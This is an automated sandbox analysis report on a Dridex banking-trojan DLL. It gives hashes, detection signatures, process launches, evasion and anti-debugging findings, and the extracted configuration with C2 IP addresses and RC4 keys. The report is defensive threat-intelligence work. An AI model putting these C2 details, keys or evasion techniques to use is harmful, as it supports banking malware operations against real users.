Play interactive tour

Edit tour

Analysis Report 0WzJdqE4Rw

Overview

General Information

Sample Name:	0WzJdqE4Rw (renamed file extension from none to dll)
Analysis ID:	392876
MD5:	d596fd09b8431db69ac77ffdfd138f3f
SHA1:	9e436235e8e0e6f0c0a87ebd4b0d53688a7b994c
SHA256:	a6bd76295d3032edba531572417b1349bb4ba8d167fa593d954fd7dcc63cb2ca
Tags:	40112Dridex
Infos:
Most interesting Screenshot:

Detection

Dridex Dropper

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Dridex dropper found

Found malware configuration

Yara detected Dridex unpacked file

C2 URLs / IPs found in malware configuration

Found potential dummy code loops (likely to delay analysis)

Machine Learning detection for sample

Tries to delay execution (extensive OutputDebugStringW loop)

Tries to detect sandboxes / dynamic malware analysis system (file name check)

Abnormal high CPU Usage

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to query locales information (e.g. system language)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Program does not show much activity (idle)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

loaddll32.exe (PID: 5684 cmdline: loaddll32.exe 'C:\Users\user\Desktop\0WzJdqE4Rw.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)

cmd.exe (PID: 5940 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\0WzJdqE4Rw.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 5744 cmdline: rundll32.exe 'C:\Users\user\Desktop\0WzJdqE4Rw.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cleanup

Malware Configuration

Threatname: Dridex

{"Version": 40112, "C2 list": ["107.172.227.10:443", "172.93.133.123:2303", "108.168.61.147:8172"], "RC4 keys": ["AhGDjKatq8OVBsCNBxsJHbQSf84QZXMd170Lw0kGCrK", "ZZ9zhvNgYZKh5HVVVEDNPVdpdSY2d6pJ4ZBqsvPVEDjyOFNIkXQwmhTyNKiurfq"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.rundll32.exe.6de80000.3.unpack	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 3.2.rundll32.exe.6de80000.3.unpack

Malware Configuration Extractor: Dridex {"Version": 40112, "C2 list": ["107.172.227.10:443", "172.93.133.123:2303", "108.168.61.147:8172"], "RC4 keys": ["AhGDjKatq8OVBsCNBxsJHbQSf84QZXMd170Lw0kGCrK", "ZZ9zhvNgYZKh5HVVVEDNPVdpdSY2d6pJ4ZBqsvPVEDjyOFNIkXQwmhTyNKiurfq"]}

Machine Learning detection for sample

Show sources

Source: 0WzJdqE4Rw.dll

Joe Sandbox ML: detected

Source: 0WzJdqE4Rw.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: 0WzJdqE4Rw.dll

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wntdll.pdbUGP source: rundll32.exe, 00000003.00000003.293075202.000000004B280000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: rundll32.exe, 00000003.00000003.293075202.000000004B280000.00000004.00000001.sdmp
Source:	Binary string: Gsp.pdb source: loaddll32.exe, 00000001.00000002.234619804.000000006E11A000.00000002.00020000.sdmp, 0WzJdqE4Rw.dll

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	IPs: 107.172.227.10:443
Source: Malware configuration extractor	IPs: 172.93.133.123:2303
Source: Malware configuration extractor	IPs: 108.168.61.147:8172

Source: Joe Sandbox View	IP Address: 172.93.133.123 172.93.133.123
Source: Joe Sandbox View	IP Address: 107.172.227.10 107.172.227.10
Source: Joe Sandbox View	IP Address: 108.168.61.147 108.168.61.147

Source: Joe Sandbox View	ASN Name: NEXEONUS NEXEONUS
Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View	ASN Name: START-CA START-CA

Source: loaddll32.exe, 00000001.00000002.234590493.0000000000EAB000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Dridex dropper found

Show sources

Source: Initial file

Signature Results: Dridex dropper behavior

Yara detected Dridex unpacked file

Show sources

Source: Yara match	File source: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.rundll32.exe.6de80000.3.unpack, type: UNPACKEDPE

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 98%

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DE9218C NtDelayExecution,	3_2_6DE9218C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DE92790 NtAllocateVirtualMemory,	3_2_6DE92790
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DE8BC00 NtClose,	3_2_6DE8BC00

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DE907CC	3_2_6DE907CC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DE8A5A4	3_2_6DE8A5A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DE89144	3_2_6DE89144
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DE884E4	3_2_6DE884E4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DE914D8	3_2_6DE914D8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DE81494	3_2_6DE81494
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DE992DC	3_2_6DE992DC

Source: 0WzJdqE4Rw.dll

Binary or memory string: OriginalFilenameofl.dllN vs 0WzJdqE4Rw.dll

Source: 0WzJdqE4Rw.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: classification engine

Classification label: mal84.bank.troj.evad.winDLL@5/0@0/3

Source: 0WzJdqE4Rw.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\0WzJdqE4Rw.dll',#1

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\0WzJdqE4Rw.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\0WzJdqE4Rw.dll',#1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\0WzJdqE4Rw.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\0WzJdqE4Rw.dll',#1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\0WzJdqE4Rw.dll',#1	Jump to behavior

Source: 0WzJdqE4Rw.dll

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: 0WzJdqE4Rw.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: rundll32.exe, 00000003.00000003.293075202.000000004B280000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: rundll32.exe, 00000003.00000003.293075202.000000004B280000.00000004.00000001.sdmp
Source:	Binary string: Gsp.pdb source: loaddll32.exe, 00000001.00000002.234619804.000000006E11A000.00000002.00020000.sdmp, 0WzJdqE4Rw.dll

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E113A27 push ebp; ret	1_2_6E113A28
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E112F56 push ebp; retf	1_2_6E112F61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DE8F744 push esi; mov dword ptr [esp], 00000000h	3_2_6DE8F745

Source: C:\Windows\SysWOW64\rundll32.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion:

Tries to delay execution (extensive OutputDebugStringW loop)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Section loaded: OutputDebugStringW count: 691

Tries to detect sandboxes / dynamic malware analysis system (file name check)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: \KnownDlls32\testapp.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: \KnownDlls32\self.exE	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: \KnownDlls32\self.exE	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Window / User API: threadDelayed 691

Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6DE907CC GetTokenInformation,GetSystemInfo,GetTokenInformation,

3_2_6DE907CC

Anti Debugging:

Found potential dummy code loops (likely to delay analysis)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 90% for more than 60s

Source: C:\Windows\System32\loaddll32.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6DE86DC8 GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,

3_2_6DE86DC8

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6DE93060 RtlAddVectoredExceptionHandler,

3_2_6DE93060

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\0WzJdqE4Rw.dll',#1

Jump to behavior

Source: rundll32.exe, 00000003.00000002.502741682.00000000031F0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: rundll32.exe, 00000003.00000002.502741682.00000000031F0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: rundll32.exe, 00000003.00000002.502741682.00000000031F0000.00000002.00000001.sdmp	Binary or memory string: SProgram Managerl
Source: rundll32.exe, 00000003.00000002.502741682.00000000031F0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd,
Source: rundll32.exe, 00000003.00000002.502741682.00000000031F0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,

3_2_6DE86DC8

Source: C:\Windows\SysWOW64\rundll32.exe

3_2_6DE86DC8

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection12	Virtualization/Sandbox Evasion311	Input Capture1	Security Software Discovery22	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection12	LSASS Memory	Virtualization/Sandbox Evasion311	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information1	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Rundll321	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Account Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Owner/User Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Information Discovery13	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
0WzJdqE4Rw.dll	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
3.2.rundll32.exe.2c30000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

No contacted domains info

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
172.93.133.123	unknown	United States	20278	NEXEONUS	true
107.172.227.10	unknown	United States	36352	AS-COLOCROSSINGUS	true
108.168.61.147	unknown	Canada	40788	START-CA	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	392876
Start date:	19.04.2021
Start time:	23:31:57
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	0WzJdqE4Rw (renamed file extension from none to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.bank.troj.evad.winDLL@5/0@0/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 99.1% (good quality ratio 92.9%) Quality average: 76.4% Quality standard deviation: 29%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, BackgroundTransferHost.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
172.93.133.123	3cneNhQXLA.dll	Get hash	malicious	Browse
	O3Hv20MLTO.dll	Get hash	malicious	Browse
	3C3QlrM2vJ.dll	Get hash	malicious	Browse
	JVDmOtlXaN.dll	Get hash	malicious	Browse
	EyHBhihBLX.dll	Get hash	malicious	Browse
	9ID7hh46jC.dll	Get hash	malicious	Browse
	EY5QMIrtiV.dll	Get hash	malicious	Browse
	3o1SlAow2W.dll	Get hash	malicious	Browse
	1RQzW0mVpe.dll	Get hash	malicious	Browse
	n7o1W05MC8.dll	Get hash	malicious	Browse
	fzs2RFsIyX.dll	Get hash	malicious	Browse
	rpq7FU7REX.dll	Get hash	malicious	Browse
	MQaT6y2WR1.dll	Get hash	malicious	Browse
	2AkfHL53PG.dll	Get hash	malicious	Browse
	yHofZqHUpA.dll	Get hash	malicious	Browse
	t8gXIfeO1k.dll	Get hash	malicious	Browse
	bJZDQZ7Yup.dll	Get hash	malicious	Browse
	4d4QR5t7LQ.dll	Get hash	malicious	Browse
	KGY6KoZer1.dll	Get hash	malicious	Browse
	u8UYedd5N8.dll	Get hash	malicious	Browse
107.172.227.10	3cneNhQXLA.dll	Get hash	malicious	Browse
	O3Hv20MLTO.dll	Get hash	malicious	Browse
	3C3QlrM2vJ.dll	Get hash	malicious	Browse
	JVDmOtlXaN.dll	Get hash	malicious	Browse
	EyHBhihBLX.dll	Get hash	malicious	Browse
	9ID7hh46jC.dll	Get hash	malicious	Browse
	EY5QMIrtiV.dll	Get hash	malicious	Browse
	3o1SlAow2W.dll	Get hash	malicious	Browse
	1RQzW0mVpe.dll	Get hash	malicious	Browse
	n7o1W05MC8.dll	Get hash	malicious	Browse
	fzs2RFsIyX.dll	Get hash	malicious	Browse
	rpq7FU7REX.dll	Get hash	malicious	Browse
	MQaT6y2WR1.dll	Get hash	malicious	Browse
	2AkfHL53PG.dll	Get hash	malicious	Browse
	yHofZqHUpA.dll	Get hash	malicious	Browse
	t8gXIfeO1k.dll	Get hash	malicious	Browse
	bJZDQZ7Yup.dll	Get hash	malicious	Browse
	4d4QR5t7LQ.dll	Get hash	malicious	Browse
	KGY6KoZer1.dll	Get hash	malicious	Browse
	u8UYedd5N8.dll	Get hash	malicious	Browse
108.168.61.147	3cneNhQXLA.dll	Get hash	malicious	Browse
	O3Hv20MLTO.dll	Get hash	malicious	Browse
	3C3QlrM2vJ.dll	Get hash	malicious	Browse
	JVDmOtlXaN.dll	Get hash	malicious	Browse
	EyHBhihBLX.dll	Get hash	malicious	Browse
	9ID7hh46jC.dll	Get hash	malicious	Browse
	EY5QMIrtiV.dll	Get hash	malicious	Browse
	3o1SlAow2W.dll	Get hash	malicious	Browse
	1RQzW0mVpe.dll	Get hash	malicious	Browse
	n7o1W05MC8.dll	Get hash	malicious	Browse
	fzs2RFsIyX.dll	Get hash	malicious	Browse
	rpq7FU7REX.dll	Get hash	malicious	Browse
	MQaT6y2WR1.dll	Get hash	malicious	Browse
	2AkfHL53PG.dll	Get hash	malicious	Browse
	yHofZqHUpA.dll	Get hash	malicious	Browse
	t8gXIfeO1k.dll	Get hash	malicious	Browse
	bJZDQZ7Yup.dll	Get hash	malicious	Browse
	4d4QR5t7LQ.dll	Get hash	malicious	Browse
	KGY6KoZer1.dll	Get hash	malicious	Browse
	u8UYedd5N8.dll	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AS-COLOCROSSINGUS	3cneNhQXLA.dll	Get hash	malicious	Browse	107.172.227.10
	O3Hv20MLTO.dll	Get hash	malicious	Browse	107.172.227.10
	3C3QlrM2vJ.dll	Get hash	malicious	Browse	107.172.227.10
	JVDmOtlXaN.dll	Get hash	malicious	Browse	107.172.227.10
	EyHBhihBLX.dll	Get hash	malicious	Browse	107.172.227.10
	9ID7hh46jC.dll	Get hash	malicious	Browse	107.172.227.10
	EY5QMIrtiV.dll	Get hash	malicious	Browse	107.172.227.10
	3o1SlAow2W.dll	Get hash	malicious	Browse	107.172.227.10
	1RQzW0mVpe.dll	Get hash	malicious	Browse	107.172.227.10
	n7o1W05MC8.dll	Get hash	malicious	Browse	107.172.227.10
	fzs2RFsIyX.dll	Get hash	malicious	Browse	107.172.227.10
	rpq7FU7REX.dll	Get hash	malicious	Browse	107.172.227.10
	MQaT6y2WR1.dll	Get hash	malicious	Browse	107.172.227.10
	2AkfHL53PG.dll	Get hash	malicious	Browse	107.172.227.10
	yHofZqHUpA.dll	Get hash	malicious	Browse	107.172.227.10
	t8gXIfeO1k.dll	Get hash	malicious	Browse	107.172.227.10
	bJZDQZ7Yup.dll	Get hash	malicious	Browse	107.172.227.10
	4d4QR5t7LQ.dll	Get hash	malicious	Browse	107.172.227.10
	KGY6KoZer1.dll	Get hash	malicious	Browse	107.172.227.10
	u8UYedd5N8.dll	Get hash	malicious	Browse	107.172.227.10
NEXEONUS	3cneNhQXLA.dll	Get hash	malicious	Browse	172.93.133.123
	O3Hv20MLTO.dll	Get hash	malicious	Browse	172.93.133.123
	3C3QlrM2vJ.dll	Get hash	malicious	Browse	172.93.133.123
	JVDmOtlXaN.dll	Get hash	malicious	Browse	172.93.133.123
	EyHBhihBLX.dll	Get hash	malicious	Browse	172.93.133.123
	9ID7hh46jC.dll	Get hash	malicious	Browse	172.93.133.123
	EY5QMIrtiV.dll	Get hash	malicious	Browse	172.93.133.123
	3o1SlAow2W.dll	Get hash	malicious	Browse	172.93.133.123
	1RQzW0mVpe.dll	Get hash	malicious	Browse	172.93.133.123
	n7o1W05MC8.dll	Get hash	malicious	Browse	172.93.133.123
	fzs2RFsIyX.dll	Get hash	malicious	Browse	172.93.133.123
	rpq7FU7REX.dll	Get hash	malicious	Browse	172.93.133.123
	MQaT6y2WR1.dll	Get hash	malicious	Browse	172.93.133.123
	2AkfHL53PG.dll	Get hash	malicious	Browse	172.93.133.123
	yHofZqHUpA.dll	Get hash	malicious	Browse	172.93.133.123
	t8gXIfeO1k.dll	Get hash	malicious	Browse	172.93.133.123
	bJZDQZ7Yup.dll	Get hash	malicious	Browse	172.93.133.123
	4d4QR5t7LQ.dll	Get hash	malicious	Browse	172.93.133.123
	KGY6KoZer1.dll	Get hash	malicious	Browse	172.93.133.123
	u8UYedd5N8.dll	Get hash	malicious	Browse	172.93.133.123
START-CA	3cneNhQXLA.dll	Get hash	malicious	Browse	108.168.61.147
	O3Hv20MLTO.dll	Get hash	malicious	Browse	108.168.61.147
	3C3QlrM2vJ.dll	Get hash	malicious	Browse	108.168.61.147
	JVDmOtlXaN.dll	Get hash	malicious	Browse	108.168.61.147
	EyHBhihBLX.dll	Get hash	malicious	Browse	108.168.61.147
	9ID7hh46jC.dll	Get hash	malicious	Browse	108.168.61.147
	EY5QMIrtiV.dll	Get hash	malicious	Browse	108.168.61.147
	3o1SlAow2W.dll	Get hash	malicious	Browse	108.168.61.147
	1RQzW0mVpe.dll	Get hash	malicious	Browse	108.168.61.147
	n7o1W05MC8.dll	Get hash	malicious	Browse	108.168.61.147
	fzs2RFsIyX.dll	Get hash	malicious	Browse	108.168.61.147
	rpq7FU7REX.dll	Get hash	malicious	Browse	108.168.61.147
	MQaT6y2WR1.dll	Get hash	malicious	Browse	108.168.61.147
	2AkfHL53PG.dll	Get hash	malicious	Browse	108.168.61.147
	yHofZqHUpA.dll	Get hash	malicious	Browse	108.168.61.147
	t8gXIfeO1k.dll	Get hash	malicious	Browse	108.168.61.147
	bJZDQZ7Yup.dll	Get hash	malicious	Browse	108.168.61.147
	4d4QR5t7LQ.dll	Get hash	malicious	Browse	108.168.61.147
	KGY6KoZer1.dll	Get hash	malicious	Browse	108.168.61.147
	u8UYedd5N8.dll	Get hash	malicious	Browse	108.168.61.147

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.534911371173021
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	0WzJdqE4Rw.dll
File size:	165888
MD5:	d596fd09b8431db69ac77ffdfd138f3f
SHA1:	9e436235e8e0e6f0c0a87ebd4b0d53688a7b994c
SHA256:	a6bd76295d3032edba531572417b1349bb4ba8d167fa593d954fd7dcc63cb2ca
SHA512:	8a7fedd4751d2f03c353b061ddbdbe046e7d6ba20e453fe490cda0389e689b286738e181c62fe2f66da800ddfc6928c2c787df5c643648070f092520b113bbf7
SSDEEP:	3072:KmNFcsGvTmf9vOmoM0IZ5kPjBxYvdIL2KyOQaOP8+cMTH1PxsMYQnF1b1l:bLc7UtOpM1Z5k1xYO2LXjTH1pH5nF1p
File Content Preview:	MZ......................@.......................................b.?.&.Q.&.Q.&.Q.....v.Q.@k..0.Q.+.....Q.8...{.Q./...R.Q./...7.Q..C....Q./...k.Q.@k....Q.&.P...Q..C,.I.Q.H.U...Q.=.....Q..i....Q..n....Q...S.,.Q...U...Q.......Q.Rich&.Q........................

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x40974b
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x607DE63B [Mon Apr 19 20:21:15 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	987b9d7dc84d935c3675da82d40e06f2

Entrypoint Preview

Instruction
mov edx, 00000000h
mov edx, 00000000h
cmpss xmm1, xmm2, 03h
sub eax, 00002233h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
cmpss xmm1, xmm2, 03h
cmp edx, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
je 00007FB218E01DB3h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x1001	0x1001	.text
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa71c	0x59	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2c000	0x390	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2d000	0x640	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xa04b	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa000	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x88c2	0x8a00	False	0.426007699275	data	5.59277211248	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0xa000	0x958	0xa00	False	0.535546875	data	4.25539889565	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.pdata	0xb000	0x20a39	0x1e400	False	0.84991606405	data	7.87197522751	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
